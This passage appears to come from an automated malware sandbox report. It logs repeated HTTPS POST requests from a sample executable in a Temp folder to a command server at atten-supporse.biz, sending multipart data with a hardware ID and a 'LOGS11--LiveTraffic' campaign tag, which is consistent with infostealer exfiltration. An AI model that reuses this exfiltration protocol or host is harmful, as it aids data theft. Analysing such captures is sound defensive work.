2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 6a 63 32 33 71 39 6f 4c 6a 35 73 38 55 56 63 43 34 51 64 58 37 4a 68 64 47 48 61 45 62 70 78 73 67 78 72 64 54 72 37 47 55 54 68 73 65 64 61 76 61 73 73 72 6e 71 6a 31 67 32 61 78 4a 69 50 35 76 4c 34 49 70 6f 51 2b 69 48 37 7a 32 6e 32 75 44 79 4c 77 48 47 32 74 56 6b 38 65 66 73 2b 65 65 4d 47 48 4d 68 45 58 70 34 7a 6f 37 58 69 6d 64 44 34 4d 2f 55 4f 61 33 59 37 75 6c 70 48 6f 2f 48 6b 48 48 34 72 72 69 31 71 38 74 59 66 7a 4e 56 49 6a 2f 73 6a 4d 4b 4f 53 30 33 32 7a 4a 6f 68 35 38 32 6e 34 32 4e 65 30 49 4f 53 5a 76 57 73 73 72 48 72 6c 78 31 32 49 42 52 77 65 63 4b 47 32 49 74 6b 54 2b 66 44 31 6a 36 75 30 2f 58 32 61 68 69 61 79 64 55 74 76 61 43 73 2b 62 50 46 4c 6d 67 38 42 47 77 39 39 6f 6a 61 67 32 4e 59 70 39 71 55 4a 2b 6e 54 36 36 51 33 58 Data Ascii: jc23q9oLj5s8UVcC4QdX7JhdGHaEbpxsgxrdTr7GUThsedavassrnqj1g2axJiP5vL4IpoQ+iH7z2n2uDyLwHG2tVk8efs+eeMGHMhEXp4zo7XimdD4M/UOa3Y7ulpHo/HkHH4rri1q8tYfzNVIj/sjMKOS032zJoh582n42Ne0IOSZvWssrHrlx12IBRwecKG2ItkT+fD1j6u0/X2ahiaydUtvaCs+bPFLmg8BGw99ojag2NYp9qUJ+nT66Q3X
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 6f 38 71 79 6d 75 65 61 42 46 48 77 6a 48 6e 41 2f 6a 63 76 54 6c 53 51 57 70 2f 44 58 4d 61 6e 58 38 61 52 77 55 4a 47 44 6b 6d 2b 39 2f 2f 53 31 35 59 55 58 64 43 63 65 63 6e 37 50 68 64 4f 49 62 55 62 76 31 39 73 36 6f 64 58 70 36 32 34 61 6a 63 61 52 5a 50 6d 68 75 2f 6d 6c 78 52 39 67 61 30 30 36 55 4f 53 2b 6c 71 78 65 44 76 69 4c 77 33 36 75 32 4b 65 38 4c 78 4b 4c 7a 35 31 73 2b 36 36 34 73 2b 4b 4f 46 48 4d 76 47 58 4e 36 78 59 72 52 69 47 56 4b 36 38 2f 63 50 61 72 62 36 4f 74 6e 58 73 61 44 6b 6e 75 39 2f 2f 53 63 2f 49 34 57 66 6d 73 4b 4e 47 61 44 6a 4e 6a 4e 50 41 37 72 7a 4e 77 34 72 4e 6a 6d 34 6d 63 62 67 4d 65 55 5a 66 75 6b 75 37 33 75 68 42 64 38 4a 78 74 77 66 73 4b 48 33 34 4a 76 53 36 65 4c 6d 6a 6d 78 6c 4c 2b 6b 58 68 32 65 31 49 Data Ascii: o8qymueaBFHwjHnA/jcvTlSQWp/DXManX8aRwUJGDkm+9//S15YUXdCcecn7PhdOIbUbv19s6odXp624ajcaRZPmhu/mlxR9ga006UOS+lqxeDviLw36u2Ke8LxKLz51s+664s+KOFHMvGXN6xYrRiGVK68/cParb6OtnXsaDknu9//Sc/I4WfmsKNGaDjNjNPA7rzNw4rNjm4mcbgMeUZfuku73uhBd8JxtwfsKH34JvS6eLmjmxlL+kXh2e1I
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 39 50 65 72 67 67 41 34 63 31 56 55 64 4e 43 63 31 34 4e 76 57 50 79 46 78 58 43 77 6c 4f 44 6f 4c 30 62 49 77 4a 35 6f 2b 61 65 34 75 65 2b 49 47 47 6f 6b 45 6e 31 32 79 4a 6e 65 69 6d 4e 46 37 38 37 56 4f 4c 76 59 36 66 5a 71 44 4a 71 44 32 79 50 36 76 2f 54 68 71 37 4d 66 61 44 73 57 4f 45 37 56 69 4d 4b 47 61 55 4b 6e 32 70 51 6e 36 64 50 72 70 44 64 65 6a 73 79 63 59 50 4b 6d 76 62 58 6d 67 42 46 39 4b 68 4e 2b 64 63 6d 4c 30 6f 74 6c 53 2b 33 47 32 7a 53 67 30 2b 2f 6a 62 41 7a 49 6a 64 56 6b 35 65 66 73 2b 63 4b 43 43 6e 59 37 56 57 55 78 32 73 76 54 67 53 51 57 70 38 48 51 4d 61 33 54 36 2b 4a 71 47 49 58 43 6d 6d 4c 39 71 4c 43 79 34 6f 4d 5a 64 53 34 59 66 6d 33 4a 67 4e 75 42 62 55 4c 71 68 5a 52 2b 72 73 79 6e 76 43 38 76 68 63 32 62 5a 4f 76 Data Ascii: 9PerggA4c1VUdNCc14NvWPyFxXCwlODoL0bIwJ5o+ae4ue+IGGokEn12yJneimNF787VOLvY6fZqDJqD2yP6v/Thq7MfaDsWOE7ViMKGaUKn2pQn6dPrpDdejsycYPKmvbXmgBF9KhN+dcmL0otlS+3G2zSg0+/jbAzIjdVk5efs+cKCCnY7VWUx2svTgSQWp8HQMa3T6+JqGIXCmmL9qLCy4oMZdS4Yfm3JgNuBbULqhZR+rsynvC8vhc2bZOv
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 6f 67 56 64 53 67 54 66 48 54 50 6d 64 32 4e 5a 30 57 6e 69 35 6f 35 73 5a 53 2f 70 45 77 4a 6e 73 6d 53 62 2b 75 73 74 62 72 39 69 41 67 34 5a 56 56 72 65 4e 4c 4c 6a 4a 74 30 57 65 44 61 6c 43 66 70 30 2b 75 6b 4e 31 36 4f 79 70 4e 6b 2b 36 6d 6d 76 4f 32 4b 46 33 45 69 45 58 4a 38 77 34 2f 51 69 6d 46 4e 36 38 37 64 50 61 62 51 37 75 70 6d 45 63 69 4e 31 57 54 6c 35 2b 7a 35 79 70 34 62 64 43 5a 56 5a 54 48 61 79 39 4f 42 4a 42 61 6e 79 64 51 37 71 64 37 68 34 47 6f 59 67 73 61 56 61 50 36 6f 73 4c 2f 76 69 68 68 7a 49 68 52 38 65 73 6d 41 30 6f 42 6e 53 4f 47 46 6c 48 36 75 7a 4b 65 38 4c 7a 36 54 7a 70 6c 6b 76 62 6a 36 6f 4b 75 43 46 44 68 7a 56 58 46 7a 78 34 7a 55 67 47 64 47 34 73 48 51 4f 36 6e 63 39 65 78 76 47 5a 72 52 6c 57 72 34 71 37 65 35 Data Ascii: ogVdSgTfHTPmd2NZ0Wni5o5sZS/pEwJnsmSb+ustbr9iAg4ZVVreNLLjJt0WeDalCfp0+ukN16OypNk+6mmvO2KF3EiEXJ8w4/QimFN687dPabQ7upmEciN1WTl5+z5yp4bdCZVZTHay9OBJBanydQ7qd7h4GoYgsaVaP6osL/vihhzIhR8esmA0oBnSOGFlH6uzKe8Lz6Tzplkvbj6oKuCFDhzVXFzx4zUgGdG4sHQO6nc9exvGZrRlWr4q7e5
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 73 37 46 6e 56 75 2f 63 75 4d 6c 46 6f 4f 37 4e 50 64 4c 71 72 43 37 4f 6c 6a 44 37 61 44 7a 54 65 76 39 65 62 72 75 5a 70 59 5a 78 52 62 4f 6e 36 44 30 2b 32 55 4a 46 69 6e 6e 59 68 77 36 63 61 6e 76 43 39 5a 69 39 47 48 5a 66 36 78 74 2f 37 56 75 7a 39 75 49 52 4a 71 65 4e 53 45 6c 4d 4d 6b 51 61 65 64 34 33 36 67 30 2f 7a 31 65 52 4f 59 78 4e 56 63 73 2b 65 73 2b 62 50 46 4c 58 73 6c 47 33 31 70 30 73 62 7a 6d 32 35 4a 39 38 4c 4e 4d 65 6d 61 70 2b 49 76 52 74 75 4e 31 57 66 73 35 2b 7a 70 75 64 35 4e 4b 33 78 46 4b 47 43 4e 6b 70 53 62 4a 42 61 31 69 35 6f 73 36 59 79 6e 6f 32 77 4d 6d 73 57 57 64 66 37 67 69 6f 66 4d 6e 78 56 2b 50 41 52 45 51 63 53 52 32 59 74 7a 58 36 76 51 32 54 43 6e 30 2f 47 6b 49 56 36 48 67 38 31 61 76 65 2f 30 68 71 58 46 41 Data Ascii: s7FnVu/cuMlFoO7NPdLqrC7OljD7aDzTev9ebruZpYZxRbOn6D0+2UJFinnYhw6canvC9Zi9GHZf6xt/7Vuz9uIRJqeNSElMMkQaed436g0/z1eROYxNVcs+es+bPFLXslG31p0sbzm25J98LNMemap+IvRtuN1Wfs5+zpud5NK3xFKGCNkpSbJBa1i5os6Yyno2wMmsWWdf7giofMnxV+PAREQcSR2YtzX6vQ2TCn0/GkIV6Hg81ave/0hqXFA
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 70 4b 4a 50 5a 79 38 4e 39 44 76 47 46 67 6d 7a 6e 6c 50 57 6b 4e 31 37 50 77 49 64 78 2b 36 53 69 75 71 79 37 4a 6c 38 6c 45 6e 74 70 30 35 7a 62 73 31 70 62 35 4d 76 55 4f 62 2f 46 70 36 6f 76 45 63 69 62 72 43 4f 31 35 34 76 33 71 35 31 59 49 47 73 67 65 58 48 4e 6a 4d 4b 63 4b 57 6e 70 77 74 73 6f 75 63 50 6f 70 43 46 65 6a 6f 50 4e 4d 62 50 6e 73 4b 69 72 33 55 67 71 63 45 41 70 4b 4a 50 5a 79 38 4e 39 44 76 47 46 67 6d 7a 6e 6c 50 57 6b 4e 31 37 50 77 49 64 78 2b 36 53 69 75 71 79 37 4a 6c 38 6c 45 6e 74 70 30 35 7a 62 77 6b 70 34 78 76 76 6b 4b 36 72 61 36 65 4e 35 44 38 69 4e 31 57 79 39 2f 34 33 35 6f 38 55 6e 4e 6d 73 4e 4f 69 65 44 76 74 65 44 61 6b 6e 78 31 4a 63 5a 70 39 50 6d 38 6e 38 4a 68 34 79 37 56 64 7a 6e 2b 76 6e 74 78 55 41 71 5a 56 Data Ascii: pKJPZy8N9DvGFgmznlPWkN17PwIdx+6Siuqy7Jl8lEntp05zbs1pb5MvUOb/Fp6ovEcibrCO154v3q51YIGsgeXHNjMKcKWnpwtsoucPopCFejoPNMbPnsKir3UgqcEApKJPZy8N9DvGFgmznlPWkN17PwIdx+6Siuqy7Jl8lEntp05zbwkp4xvvkK6ra6eN5D8iN1Wy9/435o8UnNmsNOieDvteDaknx1JcZp9Pm8n8Jh4y7Vdzn+vntxUAqZV
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 6a 4d 53 4f 4a 6e 2f 78 78 74 6f 77 72 70 53 70 70 48 64 65 30 49 4f 34 63 66 71 33 74 2f 6d 6c 78 52 51 34 63 31 56 33 62 63 53 62 31 38 46 6a 56 4f 43 46 78 58 43 77 6c 50 47 6b 4e 30 33 47 67 34 63 6a 70 65 66 7a 74 2b 61 45 47 33 59 6f 42 32 68 35 77 4a 33 58 79 6c 70 77 79 74 66 64 4c 71 71 57 31 75 6c 72 43 4a 33 41 68 57 54 44 6d 5a 6d 72 37 4a 55 62 4f 67 63 53 64 33 50 39 74 65 4f 63 59 31 36 6c 34 39 6b 6f 71 70 53 70 70 48 64 65 30 49 4f 34 63 66 71 33 74 2f 76 48 67 68 56 30 61 77 6f 30 5a 6f 4f 64 6c 4e 55 33 41 4b 66 58 6d 6d 62 70 6b 2b 54 32 66 52 69 4c 31 5a 59 6b 77 35 6d 5a 71 2b 79 56 47 7a 6f 61 47 48 35 70 31 6f 6a 45 69 6c 70 77 79 74 66 64 4c 71 71 57 77 74 34 74 4c 35 37 41 6c 57 33 36 35 2f 72 35 38 38 56 41 4f 41 59 48 66 57 2f Data Ascii: jMSOJn/xxtowrpSppHde0IO4cfq3t/mlxRQ4c1V3bcSb18FjVOCFxXCwlPGkN03Gg4cjpefzt+aEG3YoB2h5wJ3XylpwytfdLqqW1ulrCJ3AhWTDmZmr7JUbOgcSd3P9teOcY16l49koqpSppHde0IO4cfq3t/vHghV0awo0ZoOdlNU3AKfXmmbpk+T2fRiL1ZYkw5mZq+yVGzoaGH5p1ojEilpwytfdLqqWwt4tL57AlW365/r588VAOAYHfW/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49898	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:28:48 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N7A32MF1I16YJ3ZZN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18094 Host: atten-supporse.biz
2024-12-09 19:28:48 UTC	15331	OUT	Data Raw: 2d 2d 4e 37 41 33 32 4d 46 31 49 31 36 59 4a 33 5a 5a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4e 37 41 33 32 4d 46 31 49 31 36 59 4a 33 5a 5a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 37 41 33 32 4d 46 31 49 31 36 59 4a 33 5a 5a 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --N7A32MF1I16YJ3ZZNContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--N7A32MF1I16YJ3ZZNContent-Disposition: form-data; name="pid"2--N7A32MF1I16YJ3ZZNContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-09 19:28:48 UTC	2763	OUT	Data Raw: 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b 91 d7 e9 19 4d f6 c6 b5 e8 cb ce 3b 27 7d d7 5d ff e0 c2 63 71 3a Data Ascii: 3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{M;'}]cq:
2024-12-09 19:28:51 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7eo08ift946rcifcpjuqn0b41h; expires=Fri, 04-Apr-2025 13:15:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YlrtcKtgkQGDZhYbgJeVCrjft1S4ZjogG2Jd55sJ9QZ7cQjlf2EX4LM%2Bcts2%2F1khJXdQB10yDB9eAuCHfTU2zWaWbiLgdiDjMhZ4Id4zPkXH0BoFUGnao2C5z6MjTTaU%2FpsxnpU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7667ebb242369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1823&rtt_var=684&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19057&delivery_rate=1600000&cwnd=142&unsent_bytes=0&cid=d245e462a97b8569&ts=3436&x=0"
2024-12-09 19:28:51 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:28:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49912	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:28:53 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AWTX2B4AONEXSV8G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8778 Host: atten-supporse.biz
2024-12-09 19:28:53 UTC	8778	OUT	Data Raw: 2d 2d 41 57 54 58 32 42 34 41 4f 4e 45 58 53 56 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 41 57 54 58 32 42 34 41 4f 4e 45 58 53 56 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 57 54 58 32 42 34 41 4f 4e 45 58 53 56 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --AWTX2B4AONEXSV8GContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--AWTX2B4AONEXSV8GContent-Disposition: form-data; name="pid"2--AWTX2B4AONEXSV8GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-09 19:28:57 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=thqmcvadinpo14ctm1ue24ij8p; expires=Fri, 04-Apr-2025 13:15:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z7JoldkIvi6Ot3Ytp5rdGRDPJu612GGNSFoZ%2F2cWsmg5zThbIZ6LcRWmiIjaY%2BhJdWgOXNjkY8RiExPpy7wy4gWIszoqMUqFAfZogUEHlKwui0qiGHB5e1dD86fq6P0Os47olOs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef766a18a4b8cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2008&rtt_var=759&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9717&delivery_rate=1435594&cwnd=204&unsent_bytes=0&cid=4c3d469ae5159d65&ts=3229&x=0"
2024-12-09 19:28:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:28:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49935	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:28:59 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X44VBOSTH8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20395 Host: atten-supporse.biz
2024-12-09 19:28:59 UTC	15331	OUT	Data Raw: 2d 2d 58 34 34 56 42 4f 53 54 48 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 58 34 34 56 42 4f 53 54 48 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 58 34 34 56 42 4f 53 54 48 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 34 34 56 42 4f 53 54 48 38 0d 0a 43 6f Data Ascii: --X44VBOSTH8Content-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--X44VBOSTH8Content-Disposition: form-data; name="pid"3--X44VBOSTH8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--X44VBOSTH8Co
2024-12-09 19:28:59 UTC	5064	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-09 19:29:01 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u5ojr8om03iel9a19f9fjiaj8b; expires=Fri, 04-Apr-2025 13:15:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cuUxSsWte09BqZCiQ8i7GpvD2hea1EFsnJD0olvvDsQOog4vnTlyEQ4OAW7m9ilAnzYe2Zba3vQ2eL3XNGFTrXtKIUa%2BLPnxhHRdMsWMeTXZXAW8k4VF4iu1mN7rRrgk6ZRs2ZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef766c3ec228cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1913&min_rtt=1907&rtt_var=728&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21351&delivery_rate=1489036&cwnd=204&unsent_bytes=0&cid=cf4cdfa63cb6b958&ts=2483&x=0"
2024-12-09 19:29:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49953	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:29:04 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9WFSS695G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1265 Host: atten-supporse.biz
2024-12-09 19:29:04 UTC	1265	OUT	Data Raw: 2d 2d 39 57 46 53 53 36 39 35 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 43 37 35 38 34 46 42 35 41 36 30 39 38 46 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 39 57 46 53 53 36 39 35 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 57 46 53 53 36 39 35 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 57 46 53 53 36 39 35 47 0d 0a 43 6f 6e 74 65 6e Data Ascii: --9WFSS695GContent-Disposition: form-data; name="hwid"7AC7584FB5A6098F23D904AF30EFEBBC--9WFSS695GContent-Disposition: form-data; name="pid"1--9WFSS695GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9WFSS695GConten
2024-12-09 19:29:06 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5g7k712afnpqn573cqbubjk62r; expires=Fri, 04-Apr-2025 13:15:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=on7icCJXnWxKvtON6OfsdCIixXrTDWCXARnCIMyga%2F8sxyzdg0cL5xcH0Y%2F6wn5OIponrLJUbvcUyYcshv5pD97%2BVsSyILYfrAT6Sq2ccPA5HX4u7TANKniplkefGHwITEpPCNo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef766e52f321819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1546&min_rtt=1538&rtt_var=594&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2175&delivery_rate=1817050&cwnd=215&unsent_bytes=0&cid=41e838ffd542e411&ts=1895&x=0"
2024-12-09 19:29:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 19:29:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
